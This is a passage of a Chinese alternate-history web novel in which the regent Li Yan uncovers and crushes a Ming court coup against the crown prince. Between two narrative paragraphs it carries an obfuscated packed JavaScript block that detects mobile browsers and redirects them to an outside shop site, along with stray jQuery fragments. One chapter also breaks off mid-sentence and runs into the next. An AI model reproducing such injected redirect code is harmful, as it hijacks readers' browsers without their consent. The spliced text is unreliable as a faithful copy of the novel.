又给周遇吉、吴三桂写信，许诺粮饷，激励死战。 最后，他给杨国柱写信——那位德州守备，现在是山东的关键棋子。让他盯紧刘泽清，必要时可“先斩后奏”。 信写完，他唤来夜枭：“用最快的方式送出去。” “是。” 夜枭退下后，李炎走到殿外。暮春的风，已带暖意，但紫禁城依旧冰冷。 这座宫殿见证了多少兴衰？嘉靖、万历的怠政，天启的荒唐，崇祯的挣扎……而现在，轮到他来掌舵。 能掌稳吗？ 他不知道。但他知道，自己必须全力以赴。 就像他对春梅说的：只要还有人愿意为它拼命，这个文明就不会亡。 而他，就是那个拼命的人。 哪怕前路是万丈深渊，他也要闯过去。 因为身后，是千千万万个春梅，是千千万万个普通百姓，是这个古老文明最后的希望。 他握紧拳头，望向南方。 那里，乌云正在聚集。 而风暴，即将来临。 【第十二章完】 13. 辅政危局 四月十八·文华殿 晨光透过雕花窗棂，在青砖地上投下斑驳光影。文华殿内，李炎已经批阅了两个时辰的奏章。桌案上堆积如山的文书，每一份都关系着这个摇摇欲坠的帝国。 “大人，宋应星宋大人求见。”春梅轻声禀报。 “请。” 宋应星匆匆进来，手中捧着一卷图纸，眼中却无往日的兴奋，反而布满血丝，面色凝重。 “先生请坐。”李炎放下朱笔，“新式火枪有进展了？” 宋应星摇头，将图纸摊开：“大人请看，这是工部送来的‘清丈田亩’账册抄本——江南三县试点，清出隐田五十万亩。” “好事啊。”李炎眼睛一亮，“按亩征税，国库能增收……” “但昨夜，松江府试点县的县令，被刺杀了。”宋应星声音发颤，“尸首挂在县衙门口，旁边用血写着：敢动田亩者，死。” 李炎脸色骤冷：“谁干的？” “不知。但松江士绅联名上书，说县令‘苛政虐民，激起民变’，要求朝廷彻查，并暂停清丈。”宋应星取出一份文书，“这是南京六部转来的联名状，有三百多人署名。” 李炎接过，快速浏览。状子上把县令说成贪官酷吏，把清丈说成横征暴敛，要求严惩“幕后主使”——这明显是冲着他来的。 “江南的反应比我想象的还快。”李炎冷笑，“看来有人不想让朝廷摸清家底。” “大人，清丈之事……是否暂缓？”宋应星犹豫，“江南士绅势力庞大，若激起大规模反抗，恐生变乱。” “不能缓。”李炎断然道，“一缓，他们就会得寸进尺。宋先生，你立刻给顾炎武写信，让他查明真相，揪出真凶。同时，从临清漕仓调拨五万石粮食，赈济试点县百姓——要让百姓知道，朝廷清丈是为了公平，不是为加税。” “可粮食……” “从我的‘助饷’款里出。”李炎已让勋贵捐款，第一批二十万两已入库，“记住，赈济要公开，要让所有人都看到，朝廷的粮食进了百姓的锅里。” “老朽明白。”宋应星稍安，又想起一事，“还有军器局的事——许定国被押解进京后，他在工部的同党暗中使绊，克拨材料，拖延工期。新式火枪的产量，只有预期的三成。” 许定国虽然倒了，但党羽还在。李炎沉吟片刻：“让锦衣卫去查，凡有证据的，一律拿下。军器局事关重大，不能有丝毫拖延。” “是。”宋应星顿了顿，“大人，还有一事……宫中传闻，皇上昨夜又呕血了。” 李炎心中一紧：“太医怎么说？” “说是郁结于心，加上劳累过度，恐……恐时日无多。”宋应星声音哽咽，“大人，若皇上真有万一，这辅政之位……” “我知道你想说什么。”李炎起身走到窗前，“皇上在，我这辅政名正言顺；皇上若不在了，太子年幼，我这辅政就是众矢之的。魏藻德那些人，会像饿狼一样扑上来。” “那大人准备如何应对？” “两条路。”李炎转身，目光锐利，“其一，在皇上还在时，建立足够权威，掌控足够力量，让他们不敢动。其二……”他顿了顿，“若真到了那一步，就另立新君。” “另立新君？！”宋应星大惊，“太子尚在，岂可另立？” “若太子不在了呢？”李炎声音低沉，“或者……太子‘自愿’让位？” 宋应星浑身一震，难以置信地看着李炎。这位他一直敬佩的太保，难道也要行废立之事？ “先生别误会。”李炎看出他的心思，“我说的是最坏打算。但现在，我们必须做好一切准备。包括……给太子找个替身。” “替身？” “对。”李炎压低声音，“我已让曹化淳在宫外秘密寻找与太子容貌相似的孩童，暗中训练。若真有人想对太子不利，这就是后手。” 宋应星这才明白，李炎不是想废太子，是想保太子。 “大人深谋远虑，老朽……佩服。” “不是深谋远虑，是被逼的。”李炎苦笑，“这紫禁城里，每走一步都是陷阱。宋先生，改革之事还得仰仗你。军器、漕运、清丈，这三件事做好了，大明就还有希望。” “老朽必竭尽全力。” 宋应星告退后，李炎继续批阅奏章。但心绪难平，那些字句在眼前模糊成一片。 崇祯的病，江南的反扑，朝堂的暗流……三座大山压来，而他只有一个人。 不，不是一个人。 他想起了孙传庭、李国桢、宋应星、顾炎武、陈子龙，还有千千万万支持改革的普通官员、士兵、百姓。 这些人，就是他的底气。 --- 午时·坤宁宫密谈 李炎抽空去了坤宁宫。周皇后正在喂崇祯喝药，太子朱慈烺在一旁读书，画面温馨，却透着凄凉。 “李爱卿来了。”周皇后放下药碗，眼中含泪，“皇上今日清醒了片刻，念叨着你的名字。” 李炎走到龙榻前，崇祯闭目躺着，呼吸微弱，但面色比昨日稍好。 “皇上，臣在。”李炎轻声道。 崇祯眼皮动了动，缓缓睁开。那双曾经锐利的眼睛，如今浑浊无神，但看到李炎时，亮起一丝微弱的光。 他嘴唇翕动，发出极轻的声音：“李……爱卿……大……明……” “皇上放心，大明不会亡。”李炎握住他的手，“臣会守住这江山，传给太子。” 崇祯眼角渗出泪水，艰难地吐出三个字：“信……你……” 然后，又陷入昏迷。 周皇后泣不成声。太子朱慈烺走过来，仰头看着李炎：“李太保，父皇会好起来吗？” 李炎蹲下身，看着这个十岁的孩子：“殿下，皇上会好起来的。但在皇上康复前，殿下要坚强，要学习如何做一个好皇帝。” “可魏阁老他们说，我不该当皇帝，该让给福王叔。”太子眼中闪过迷茫，“他们说，福王叔年长，能带兵打仗。” “那殿下想当皇帝吗？” 太子想了想，重重点头：“想！父皇说，皇帝要为天下人负责。我想像父皇一样，做个好皇帝。” “好。”李炎拍拍他的肩，“那殿下就要记住：皇帝不是谁让的，是天命所归。殿下是嫡长子，是太子，名正言顺。那些让殿下让位的人，不是忠臣，是奸臣。” “可他们说，这是为了大明……” “为了大明？”李炎冷笑，“殿下，若真是为了大明，就该辅佐殿下，而不是逼殿下让位。他们逼殿下，是为了自己的权力，为了自己的利益。殿下绝不能屈服。” 太子似懂非懂，但眼神坚定起来：“我记住了。” 离开坤宁宫时，周皇后送李炎到殿外，低声道：“李爱卿，本宫听说，魏藻德正在联络五军都督府的勋贵，想要……逼宫。” “逼宫？”李炎眼神一厉，“什么时候？” “具体不知，但就在这几日。”周皇后声音发颤，“他们想趁皇上病重，废了太子，迎立福王。李爱卿，本宫和太子的性命，就托付给你了。” “娘娘放心。”李炎郑重道，“有臣在，无人能动太子。” 但回文华殿的路上，李炎心知事情没那么简单。魏藻德敢动逼宫的念头，必然有所依仗——要么是掌握了部分兵权，要么是得到了宫中某些势力的支持。 “传李国桢、孙传庭来见我。”他下令。 --- 未时·武英殿军议 武英殿被临时改为军议厅。李国桢、孙传庭匆匆赶来，还有刚刚回京的锦衣卫指挥使骆养性——此人原是魏忠贤余党，崇祯清洗阉党时因举报有功得以保全，但立场暧昧。李炎用他，是不得已——锦衣卫需要熟手，也需要制衡。 “诸位，有人要逼宫。”李炎开门见山。 李国桢拍案而起：“谁？末将带兵平了他！” “首辅魏藻德，联合成国公朱纯臣、英国公张世泽等勋贵，还有五军都督府部分将领。”李炎看向骆养性，“骆指挥使，锦衣卫可查到确切证据？” 骆养性四十多岁，面白无须，说话慢条斯理：“回太保，确有迹象。昨日魏阁老在成国公府密会三个时辰，参与的有英国公、定国公，还有五军都督府的左都督刘文耀。另外……”他顿了顿，“司礼监掌印太监王之心，也派心腹去了。” 果然有宫中内应！李炎心中一沉。王之心掌管司礼监，控制着批红权，若他与魏藻德里应外合，确实麻烦。 “他们计划如何？”孙传庭问。 “还不清楚。”骆养性道，“但锦衣卫探到，魏藻德从通州调来三千家丁，以‘护院’名义驻扎在城东。成国公府也暗中集结了五百私兵。加起来，不下四千人。” 四千私兵，加上五军都督府可能调动的部分兵马，确实是一股力量。但比起京营，还差得远。 “李总兵，京营现在有多少可战之兵？”李炎问。 “三万。”李国桢道，“其中一万是老兵，两万是新兵，但都经过整训，能打。” “孙将军，你的督战队呢？” “一千二百人，都是百战精锐。”孙传庭道，“另外，王铁柱在大同训练的三百骑兵也回来了，可堪一用。” 加起来三万多人，对付四千私兵，绰绰有余。但问题是——不能在内城开战。一旦打起来，伤及百姓，损坏宫阙，舆论上就输了。 “不能让他们动手。”李炎沉思，“要在他们动手前，先下手为强。” “怎么下？”李国桢问。 “骆指挥使。”李炎看向骆养性，“锦衣卫能否拿到魏藻德、王之心谋逆的确凿证据？比如书信、密约之类。” 骆养性迟疑：“魏阁老谨慎，书信都是阅后即焚。王之心那边……司礼监守卫森严，不好下手。” “那就创造机会。”李炎眼中闪过寒光，“传话出去，就说皇上病情好转，明日要召见内阁大臣。魏藻德必然着急，会加紧行动。他一动，就会露出破绽。” “若他不信呢？”孙传庭问。 “那就让他信。”李炎冷笑，“让太医放出风声，说皇上已能进食，还能说几句话。再让坤宁宫太监‘无意中’透露，皇上念叨着要见太子、见内阁。魏藻德做贼心虚，必会铤而走险。” “太保的意思是……引蛇出洞？” “对。”李炎铺开皇宫地图，“他们若想逼宫，最可能的路数是：控制午门，然后以‘清君侧’为名，要求废太子、立福王。所以我们重点防守午门、东华门、西华门。李总兵，你的一万老兵守午门；孙将军，你的督战队守东华门；西华门……交给王铁柱的三百骑兵。” “那新兵呢？”李国桢问。 “新兵驻守皇城外围，封锁街道，不让私兵接近。”李炎道，“记住，尽量不要开战，以威慑为主。但若对方先动手，格杀勿论！” “是！”三人齐声。 “还有王之心。”李炎看向骆养性，“骆指挥使，你的人能否控制司礼监？” “可以。”骆养性这次很肯定，“王之心虽然掌印，但手下并非铁板一块。老奴……下官有把握在他行动前，先控制司礼监。” “好。”李炎点头，“记住，要活的。我要当着百官的面，审问这个阉贼。” 部署完毕，众人分头准备。李炎独自站在地图前，手指划过午门到乾清宫的路线。 这将是一场没有硝烟的战争，但比真刀真枪更凶险。 赢了，他彻底掌控朝局，改革可以推进。 输了，他就是乱臣贼子，身败名裂，大明也可能因此分裂。 没有第三条路。 --- 申时·意外的访客 李炎正准备用晚膳，亲兵来报：“大人，南京兵部尚书史可法史大人到京，现在宫外求见。” 史可法来了？李炎又惊又喜。这位江南重臣此时进京，意义重大——要么是来支持他，要么是来摊牌。 “快请！” 史可法风尘仆仆，显然是一路急行。他进来后，先要行礼，被李炎扶住：“史尚书一路辛苦，不必多礼。请坐。” 两人对坐。史可法喝了口茶，缓过气来，开门见山：“李太保，下官此来，是为江南之事。” “请讲。” “魏国公徐弘基、诚意伯刘孔昭等人，确在密谋拥立福王。”史可法面色沉重，“他们联络了江南半数以上的士绅、官员，也联络了江北四镇的总兵——刘泽清、高杰、刘良佐、黄得功。若北京有变，他们会在南京另立朝廷。” 果然！李炎虽然早有预料，但听到确切消息，还是心中一沉。江北四镇有二十万兵马，若都倒向南京，朝廷就危险了。 “史尚书是何态度？” 史可法直视李炎：“下官是大明的臣子，只认北京朝廷。但太保，江南士绅对朝廷失望已久，若不能给他们希望，分裂之势，不可逆转。” “你想要什么希望？” “三条。”史可法伸出三根手指，“第一，停止清丈田亩，至少暂缓；第二，减免江南赋税三成；第三，朝廷迁都南京，或至少……太子南巡。” 李炎沉默了。 第一条，停止清丈，等于向士绅妥协，改革将半途而废。 第二条，减免赋税，朝廷本就缺钱，再减，军饷何来？ 第三条最要命——迁都或太子南巡，等于承认北方守不住，会极大动摇军心民心。 “史尚书，这三条，我都不能答应。”李炎缓缓道，“清丈是为了公平，不是为了加税；赋税可以整顿，但不能一味减免；至于迁都……皇上还在，太子还在，朝廷就在北京。” 史可法眼中闪过失望：“太保，下官知道您想改革，想中兴。但眼下最重要的是稳住江南，避免分裂。若江南另立朝廷，大明就真亡了！” “稳住江南，不是靠妥协。”李炎起身，“是靠实力，靠胜利。史尚书，若我能击退闯贼，稳住北方，江南那些人还敢另立朝廷吗？若我能整顿漕运，让江南百姓看到希望，他们还会支持分裂吗？” “可您能做到吗？”史可法反问，“闯贼有数十万之众，清虏虎视眈眈，朝廷内部还有魏藻德这样的权臣掣肘。太保，您一个人，能扭转乾坤吗？” “我一个人不能。”李炎看着史可法，“但加上史尚书你，加上江南千千万万心向大明的志士，就能。” 他走到史可法面前，深深一揖：“史尚书，我知道你为难。但请相信我，再给我三个月时间。三个月内，我会解决魏藻德，稳住朝局；会击退闯贼，守住山西；会整顿漕运，让江南看到实效。若三个月后，我还做不到，你要怎么做，我不拦你。” 史可法看着这个比自己年轻十多岁的辅政大臣，看着他眼中的坚定和恳切，心中震动。良久，他长叹一声：“好，下官就给太保三个月。这三个月，下官会尽力稳住江南。但三个月后……” “三个月后，若我还做不到，我亲自送太子南下。”李炎郑重承诺。 “一言为定！” 两人击掌为誓。史可法又道：“还有件事——魏国公他们计划，若北京有变，就派兵北上‘迎驾’。带兵的是刘泽清，此人反复无常，太保要小心。” 刘泽清！李炎记下了这个名字。 送走史可法，李炎立即写信给杨国柱，让他严密监视刘泽清动向，必要时可“先斩后奏”。又给吴三桂写信，让他提防山东方向。 做完这些，已是黄昏。 春梅端来晚膳，李炎却无食欲。他走到殿外，望着暮色中的紫禁城。这座宫殿在夕阳下泛着金光，美得悲壮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124499|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个月。他只有三个月时间。 而要做的，是几乎不可能完成的任务。 但他必须完成。 因为身后，是史可法这样的忠臣，是千千万万还对这个王朝抱有希望的百姓。 --- 戌时·暗夜密谋 成国公府，密室。 烛光下坐着五人：首辅魏藻德、成国公朱纯臣、英国公张世泽、左都督刘文耀，还有司礼监掌印太监王之心。 “王公公，宫里的消息确切吗？皇上真的好转了？”魏藻德神色焦虑。 王之心五十多岁，面白无须，说话尖细：“千真万确。咱家手下的小太监亲眼看到，皇上今日进了半碗粥，还说了几句话。太医也说，脉象比昨日平稳。” “那就不能再等了！”朱纯臣拍案，“一旦皇上康复，李炎这辅政就坐稳了！到时候，你我都没有好下场！” 张世泽点头：“李炎那厮，连晋王都敢动，连许定国都敢抓。等他腾出手来，下一个就是咱们这些勋贵！” 刘文耀是武将，说话直接：“那就干！我手下能调动的兵马有三千，加上各位的家丁，凑个五千人没问题。控制午门，冲进皇宫，逼皇后下懿旨废太子，迎福王进京！” “说得容易。”魏藻德皱眉，“李炎有京营三万，孙传庭的督战队一千多，还有锦衣卫。咱们五千人，够吗？” “足够了。”王之心阴笑，“咱家掌管司礼监，可以假传皇上口谕，调开午门守军。只要控制了午门，大军入宫，李炎就是瓮中之鳖。” “可李国桢、孙传庭不是傻子，他们会听你的口谕？” “所以需要魏阁老。”王之心看向魏藻德，“您是首辅，您和咱家一起去午门，说是奉皇上密旨‘清君侧’，李国桢敢抗旨？” 魏藻德犹豫了。这一步踏出去，就是谋逆，失败就是灭族。 “魏阁老，别再犹豫了。”朱纯臣劝道，“李炎是什么人？一个来历不明的野小子，仗着有点本事，就敢凌驾于我们这些世代勋贵之上！他若掌权，还有我们的活路吗？” “是啊。”张世泽附和，“再说了，福王继位，对大家都好。福王在江南，得士绅拥护，到时候朝廷迁都南京，咱们也跟着享福。不比在这北京担惊受怕强？” 魏藻德咬牙，终于点头：“好！干！但事成之后，福王必须由我们辅政，李炎必须死！” “那是自然。”王之心笑了，“事不宜迟，明晚子时动手。魏阁老拟好废太子的诏书，咱家准备玉玺。刘都督调集兵马，二位公爷集结家丁。咱们……改天换日！” 五人举杯，一饮而尽。 他们不知道，密室屋顶上，一个黑影悄然离去。 --- 子时·文华殿定策 夜枭将密谋内容原原本本汇报给李炎。 “明晚子时……”李炎冷笑，“他们倒是心急。也好，省得我们多等。” 他立即召来李国桢、孙传庭、骆养性，连夜部署。 “李总兵，明日你正常值守午门，但要把最可靠的一千老兵藏在门楼里。等魏藻德、王之心来了，放他们进来，然后关门打狗。” “末将领命！” “孙将军，你带督战队埋伏在午门内广场两侧。一旦关门，立即杀出，擒贼擒王。” “是！” “骆指挥使，你的人控制司礼监，逮捕王之心的党羽。同时，封锁成国公府、英国公府，不许任何人出入。” “下官明白。” “还有刘文耀的三千兵马。”李炎看向地图，“他们驻扎在城东大校场。王铁柱！” “卑职在！”王铁柱出列。 “你带三百骑兵，连夜出城，埋伏在校场外。明晚子时，刘文耀一调动兵马，你就从背后突袭，放火烧营，制造混乱。记住，不要硬拼，骚扰为主。” “卑职遵命！” 部署完毕，李炎最后叮嘱：“诸位，此战关键在快、在准。要一举擒获所有首脑，不能让他们逃走一个。但尽量不要多杀人，尤其是普通士兵、家丁——他们大多是被蒙蔽的。” “大人仁慈。”李国桢感慨，“但那些人若顽抗……” “那就杀。”李炎眼中闪过寒光，“非常时期，顾不得那么多了。” 众人退下后，李炎独自站在殿中。明日一战，将决定朝局走向，也将决定他的命运。 赢了，他彻底掌控权力，可以放手改革。 输了，他就是乱臣贼子，死无葬身之地。 但他没有选择。 从他接受辅政的那一刻起，就注定要走上这条险路。 春梅悄悄进来，为他披上披风：“大人，夜深了，您该歇息了。” “春梅，明天可能会有一场恶战。”李炎轻声道，“若我败了，你拿着这个，去找曹化淳，他会安排你出宫。” 他递过一枚玉佩。 春梅却摇头，将玉佩推回：“大人不会败。就算败了，奴婢也跟大人一起。” “傻丫头。”李炎笑了，心中涌起暖意。 是啊，他不是一个人在战斗。 有这些信任他的人，他怎么能败？ “好，那我们就一起，迎接明天。” --- 四月十九·暴雨前夕 这一天，北京城异常平静。 早朝照常进行，魏藻德神色如常，还就漕运改革提了几条“建议”，态度温和。李炎也如常回应，君臣一派和谐。 退朝后，魏藻德主动找李炎：“李太保，关于清丈田亩之事，下官思前想后，觉得确有道理。江南那边，下官有些故旧，可以帮着劝说。” “魏阁老深明大义。”李炎笑道，“那就有劳阁老了。” 两人相视而笑，各怀心思。 午后，李炎去坤宁宫看望崇祯。皇帝今日精神似乎好了些，能坐起来了，还喝了半碗参汤。 “皇上今日气色不错。”李炎喜道。 崇祯看着他，忽然道：“李爱卿……辛苦你了。” “这是臣的本分。” “朕知道……朝中有人不服。”崇祯喘着气，“但朕信你。太子……就托付给你了。” “皇上放心，臣必不负所托。” 从坤宁宫出来，李炎遇到王承恩。老太监低声道：“太保，都准备好了。曹公公那边也安排妥当，坤宁宫加了双倍守卫。” “好。” 黄昏时分，乌云聚拢，天边响起闷雷。一场暴雨，即将来临。 李炎站在文华殿前，望着黑沉沉的天空。 该来的，总要来。 那就让暴风雨，来得更猛烈些吧。 --- 戌时·最后的宁静 成国公府内，私兵正在集结。朱纯臣穿着铠甲，检查兵器。张世泽在一旁催促：“快些！子时就要出发！” 英国公府、左都督府，同样在秘密调兵。 司礼监值房，王之心正在给心腹太监分发令牌：“这是出宫令牌，事成之后，你们各守其位。记住，只认咱家和魏阁老的命令！” “是！” 魏藻德在府中焚香祷告，祈求祖宗保佑。他面前摊着拟好的“废太子诏”，只要盖上玉玺，就是圣旨。 与此同时，李国桢的一千老兵已秘密进入午门门楼。孙传庭的督战队埋伏在广场两侧的厢房里。王铁柱的三百骑兵已出城，潜伏在校场外的树林中。 骆养性的锦衣卫控制了司礼监外围，只等信号。 一切，就等子时。 --- 亥时三刻·文华殿 李炎穿上轻甲，佩上尚方宝剑。春梅为他系好披风，手有些抖。 “怕吗？”李炎问。 “不怕。”春梅摇头，“有大人 14. 午门惊变 子时·暴雨至 暴雨倾盆而下，雨点砸在紫禁城的琉璃瓦上，发出密如擂鼓的声响。午门外广场，积水在青石板间汇成细流，倒映着城楼上的点点灯火。 魏藻德和王之心共乘一轿，在三百家丁护卫下，冒雨来到午门前。轿帘掀起，魏藻德探出头，雨水立刻打湿了他的官帽。 “开门！首辅魏藻德、司礼监掌印王之心，奉皇上密旨入宫！”他高喊，声音在雨声中显得单薄。 城楼上，李国桢的身影出现在垛口后。他俯视下方，雨水顺着铁甲流淌：“魏阁老，王公公，深夜入宫，所为何事？” “皇上病情有变，急召内阁议事！”王之心尖声道，“李总兵，快开门，耽误了大事，你担待不起！” 李国桢故作犹豫：“可有手谕？” “事急从权！”魏藻德举起一卷黄绫，“这是皇上口谕，命本官与王公公即刻入宫！李总兵，你要抗旨吗？” 城楼上沉默片刻。终于，沉重的门栓拉动声响起，午门缓缓开启一条缝，仅容一轿通过。 魏藻德与王之心对视一眼，眼中闪过喜色。轿夫抬轿入内，三百家丁想跟进，却被守门士兵拦住：“只许阁老与公公入内，闲杂人等退后！” “他们是护卫！”魏藻德急道。 “宫中自有禁军护卫，阁老不必担心。”李国桢的声音从门内传来，“请快些，雨大。” 魏藻德咬牙，对家丁头目使了个眼色，示意他们在门外等候。轿子终于完全进入午门，身后大门“轰”地关闭。 轿内，王之心松了口气：“成了。只要控制了皇上，一切都好说。” 魏藻德却隐隐不安。太顺利了，顺利得反常。 轿子在广场上停下。两人下轿，只见广场上空无一人，只有雨幕如帘。远处乾清宫的灯火在雨中朦胧不清。 “怎么没人接应？”魏藻德皱眉。 就在这时，四周忽然亮起数十支火把——雨水浇不灭的特制火把。火光中，孙传庭率两百督战队从两侧厢房涌出，呈半圆阵型，将轿子围在中央。 “孙传庭？！”魏藻德大惊，“你……” “魏阁老，王公公，别来无恙。”孙传庭按刀而立，雨水顺着他冷峻的面颊流淌，“深夜冒雨入宫，真是忠心可嘉啊。” 王之心尖叫道：“孙传庭！咱家奉皇上密旨入宫，你敢阻拦？” “密旨？”一个平静的声音从后方传来。 李炎从午门城楼的阴影中走出，没有打伞，任凭雨水浇透蟒袍。他身后跟着春梅，春梅手中捧着一个锦盒。 “李炎！”魏藻德脸色煞白，“你……你怎么在这里？” “本官是辅政大臣，自然该在宫中。”李炎走到两人面前，“倒是魏阁老、王公公，深夜擅闯宫禁，还带着数百家丁，意欲何为？” “我们奉皇上密旨！”魏藻德强作镇定，展开黄绫，“李炎，你敢抗旨？” 李炎接过黄绫，就着火把看了一眼，忽然笑了：“‘皇上口谕：命魏藻德、王之心即刻入宫，共商大事’——魏阁老，这口谕是谁传的？可有凭证？玉玺何在？” “事急从权，皇上病重，来不及用玺！”王之心急道。 “那这口谕，就是假的。”李炎将黄绫扔在雨水中，“假传圣旨，可是死罪。” 魏藻德终于撕破脸：“李炎！你挟持皇上，操控太子，才是真正的乱臣贼子！本官今夜，就是要清君侧，正朝纲！” “清君侧？”李炎冷笑，“带兵逼宫，是清君侧？魏藻德，你与王之心密谋废太子、立福王，真当本官不知道？” 魏藻德浑身一震：“你……你胡说什么！” “是不是胡说，马上就知道。”李炎拍了拍手，“带上来！” 广场一侧，骆养性押着几个人走来。为首的是个中年太监，被打得鼻青脸肿，正是王之心最信任的干儿子。后面还有几个成国公府、英国公府的家丁头目。 “干爹……干爹救我！”太监哭喊，“他们什么都知道了！” 魏藻德面如死灰。王之心更是瘫软在地：“完了……全完了……” “魏藻德，王之心。”李炎声音转冷，“你们勾结勋贵，私调兵马，图谋废立，罪证确凿。还有何话说？” 雨越下越大。魏藻德忽然狂笑：“李炎！就算你知道了又如何？刘文耀的三千兵马马上就到！成国公、英国公的家丁也在门外！你区区几百人，能挡得住吗？” 仿佛为了印证他的话，午门外忽然传来喊杀声。显然，门外的三百家丁与守军冲突了。 “听到了吗？”魏藻德眼中燃起疯狂，“李炎，你现在投降，本官还可以在福王面前为你求情。否则……” “否则怎样？”李炎平静地问。 话音未落，午门城楼上忽然传来三声尖锐的哨响。紧接着，城门外传来更大的混乱声，夹杂着马嘶、惨叫、火焰爆燃的噼啪声。 一个浑身湿透的士兵从城楼跑下，跪地禀报：“大人！王铁柱将军率骑兵突袭敌军后阵，放火烧营，刘文耀部大乱！” 几乎同时，午门忽然大开。李国桢率一千精兵杀出，与门外家丁战在一起。那些家丁虽然悍勇，但如何是正规军的对手？不过片刻，就被杀散。 魏藻德和王之心眼睁睁看着这一切，彻底绝望。 “拿下。”李炎下令。 督战队上前，将两人五花大绑。王之心挣扎哭喊：“李太保饶命！咱家是被逼的！都是魏藻德的主意！” 魏藻德惨笑：“阉狗就是阉狗，临死还要咬人。李炎，成王败寇，要杀要剐，悉听尊便！” “放心，不会让你们轻易死。”李炎淡淡道，“骆指挥使，押入诏狱，严加看管。明日，本官要当朝审问。” “是！” 两人被拖走。孙传庭问：“大人，成国公府、英国公府那边……” “让骆养性带锦衣卫去查封。”李炎道，“记住，只抓首恶，胁从不问。府中女眷、孩童，不得伤害。” “末将领命！” 暴雨中，这场逼宫闹剧以迅雷不及掩耳之势落幕。但李炎知道，这仅仅是开始。 --- 丑时·余波未平 文华殿内，烛火通明。李炎换了干衣服，正在听取各方汇报。 孙传庭：“午门外三百家丁，斩杀八十，俘虏一百二十，余者逃散。我军伤亡三十七人。” 李国桢：“刘文耀的三千兵马被王铁柱袭扰，伤亡约五百，已溃退回营。王铁柱正在追击。” 骆养性：“成国公府、英国公府已查封，朱纯臣、张世泽拒捕，被当场格杀。其家眷已控制。左都督刘文耀逃回府中，锦衣卫正在围捕。” 李炎点头：“做得不错。但记住，不要扩大株连。那些被蒙蔽的士兵、家丁，愿意投降的，既往不咎。” “大人仁慈。”王承恩在一旁感慨，“只是……魏藻德毕竟是首辅，王之心是司礼监掌印。明日朝会，恐怕……” “恐怕有人会为他们喊冤？”李炎冷笑，“那就让他们喊。本官倒要看看，有多少人敢跳出来。” 他顿了顿：“曹公公，皇上那边……” “皇上安好。”曹化淳道，“老奴已加派守卫，一只苍蝇也飞不进乾清宫。” “那就好。”李炎揉了揉太阳穴，“诸位辛苦，先去歇息吧。明日早朝，还有一场硬仗。” 众人退下后，殿内只剩下李炎和春梅。 “大人，您也歇会儿吧。”春梅轻声道，“天快亮了。” 李炎走到窗前。雨已停，东方天际泛起鱼肚白。一夜惊变，恍如隔世。 “春梅，你说我这么做，是对是错？”他忽然问。 春梅想了想：“奴婢不懂大道理。但奴婢知道，若让魏藻德他们得逞，太子就危险了，皇上也危险了。大人保护了他们，就是对的。” 简单而朴素的逻辑。李炎笑了：“是啊，有时候对错，就是这么简单。” 他转身：“你也去歇息吧。天亮后，随我上朝。” --- 辰时·皇极殿 晨钟响彻皇城。 百官陆续来到皇极殿，个个面色凝重。昨夜的事，或多或少都听说了，空气中弥漫着不安。 御座空着，太子座也空着。李炎独自站在御阶下，蟒袍玉带，神色平静。 “参见李太保！”百官行礼，声音参差不齐。 “诸位免礼。”李炎抬手，“今日朝会，只议一事——首辅魏藻德、司礼监掌印王之心，勾结勋贵，私调兵马，图谋逼宫废立。该如何处置？” 殿内死寂。半晌，礼部侍郎吴麟征出列：“李太保，此事……可有确凿证据？” “有。”李炎拍了拍手。 骆养性押着几个人上殿。除了魏藻德、王之心，还有王之心的干儿子、成国公府管家、左都督府参军等人。个个带着镣铐，面色灰败。 “让他们自己说。”李炎道。 王之心的干儿子最先崩溃，跪地哭诉：“是干爹……王公公和魏阁老密谋，要废太子、立福王！他们让奴婢伪造皇上口谕，调开午门守军……奴婢是被逼的！” 成国公府管家也招供：“国公爷和英国公、魏阁老在府中密议多次，计划今晚子时起兵……小的只是传话的，什么都不知道啊！” 魏藻德闭目不语。王之心却嘶声道：“李炎！你严刑逼供，屈打成招！这些供词，都是假的！” “假的？”李炎冷笑，“那昨夜午门外的三百家丁，是假的？刘文耀的三千兵马，是假的？成国公、英国公拒捕被杀，也是假的？” 一连串质问，王之心哑口无言。 这时，一直沉默的魏藻德忽然睁开眼：“李炎，成王败寇，本官认了。但你说我们谋逆，本官不服！我们是为了大明，为了天下！太子年幼，主少国疑，国难当头，当立长君！这有什么错？” “立长君没错，但逼宫废立，就是谋逆。”李炎直视他，“魏藻德，你若真为大明，就该在朝堂上堂堂正正提出，由百官公议。而不是勾结阉宦，私调兵马，夜闯宫禁！” “朝堂公议？”魏藻德惨笑，“你李炎把持朝政，顺你者昌，逆你者亡！本官在朝堂上说，有用吗？” 这话戳中了一些官员的心思，殿内响起窃窃私语。 李炎环视百官：“诸位，本官知道，有人对本官辅政不满，有人对太子监国质疑。今天，本官就在这里，给大家一个交代。” 他走到御阶中央，朗声道：“太子监国，是皇上病重期间的权宜之计。本官辅政，是奉皇上密旨、皇后懿旨。若有不服，可以提出。但有三条底线，不可触碰——” “第一，太子乃嫡长子，名正言顺，任何人不得以任何理由废立！” “第二，皇上尚在，朝廷就在北京，任何人不得另立中央！” “第三，军政大事，须经朝议，任何人不得私相授受，结党营私！” 声音铿锵，回荡在大殿中。 “魏藻德、王之心等人，三条底线全犯。私调兵马，是犯军纪；勾结逼宫，是犯国法；图谋废立，是犯人伦。如此大逆不道，按律当如何？” 刑部尚书出列：“按《大明律》，谋逆者，凌迟处死，株连九族。” 殿内一片吸气声。 魏藻德忽然大笑：“株连九族？好！李炎，你杀吧！杀了我，看天下士绅如何看你！看江南百万军民，还会不会认你这个朝廷！” 这是威胁，也是实情。魏藻德是东林党领袖，门生故旧遍布天下，尤其在江南影响力巨大。若真株连，必然激起反弹。 李炎沉默片刻，缓缓道：“魏藻德，你不用激我。本官做事，自有分寸。” 他转身面向百官：“魏藻德、王之心谋逆，罪证确凿，按律当斩。但念其曾为朝廷效力，且此事主要为首几人所为，家眷、门生多不知情。故本官决定——” “魏藻德、王之心，斩立决，抄没家产，但不株连亲族。” 